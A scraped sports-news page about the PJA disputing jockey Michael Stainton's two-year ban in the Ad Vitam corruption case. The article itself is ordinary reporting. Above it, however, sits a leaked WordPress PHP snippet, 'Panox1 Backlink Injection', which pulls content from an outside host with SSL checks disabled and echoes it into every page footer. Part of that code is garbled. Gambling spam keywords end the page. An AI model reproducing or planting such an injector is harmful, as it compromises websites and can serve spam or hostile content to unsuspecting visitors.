// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 PJA hits out at BHA over Stainton punishment – Next Sports News

PJA hits out at BHA over Stainton punishment

[ad_1]

Michael Stainton

Michael Stainton: banned for two years for his role in the Ad Vitam affair

  PICTURE: Martin Lynch (racingpost.com/photos)  

 By Peter Scargill 7:05PM 8 JAN 2016 

THE Professional Jockeys Association has slammed the two-year ban handed down to jockey Michael Stainton for his part in the Ad Vitam corruption case, arguing the rider has been unfairly treated and punished under the wrong rule.

Stainton was one of four men who failed in an appeal this week against bans imposed by the disciplinary panel after they had been found guilty of various offences relating to the running of Ad Vitam between November 2011 and March 2012. He is set to have a separate appeal over his penalty at a later date.

Former owner and punter David M Greenwood was found to have engaged in a conspiracy with Stainton to ensure his horse Ad Vitam ran down the field in four races by instructing the jockey not to achieve the best possible placing. On two occasions Stainton did not ride the horse on its merits in order to try to reduce its handicap mark.

However, the PJA believes the actions of Stainton, who was not proven to have received any financial reward for his rides, mean he should be facing a ban for intentionally not asking his mount for sufficient effort, meriting a suspension of up to90 days, and not the harsher punishment for committing a corrupt or fraudulent practice.

Having a ‘run round’

In a statement released on Friday, Paul Struthers, PJA chief executive, said: “The central allegation made by the BHA – that Ad Vitam was stopped for lay-betting purposes – was found not to be the case. Having been found innocent of this very serious charge, Michael was instead found guilty of what amounts to being instructed to and giving a horse a ‘run round’ for handicapping purposes in two races, a case we maintain was never put.

“We entirely accept that horses not running on their merits are bad for the sport. We cannot and do not condone it, whatever the purpose, even if it is a jockey simply doing what he is instructed to do. However, such instances should be dealt with and punished by the very penalty structure that exists for that offence.”

Conspiracy

In response, BHA spokesman Robin Mounsey said: “The points raised by the PJA’s statementwere considered at length by the appeal board, who found that they fell ‘well short of establishing merit’.

“The disciplinary panel found that David M Greenwood and Michael Stainton were guilty of the conspiracy to commit, as well as the actual commission of, a corrupt or fraudulent practice, a view that was supported by the appeal board.

“The appeal board also found the possibility of a ‘back betting coup’ was included as part of the BHA’s investigation from an early stage.”

High court battle?

Greenwood was suspended for eight years for his role in the plot. Former owner Kenneth Mackay and Towcester chief executive Keith Ackerman were banned for six months each after they had laid Ad Vitam to lose as the result of inside information. 

Solicitors for Greenwood, Mackay and Ackerman said in a statement after the failed appeals that the matter “needs to be resolved by a High Court judge”.

 

[ad_2]

Source link

Reply

aviator non gamstop casino chicken road olimp casino вход best casino sites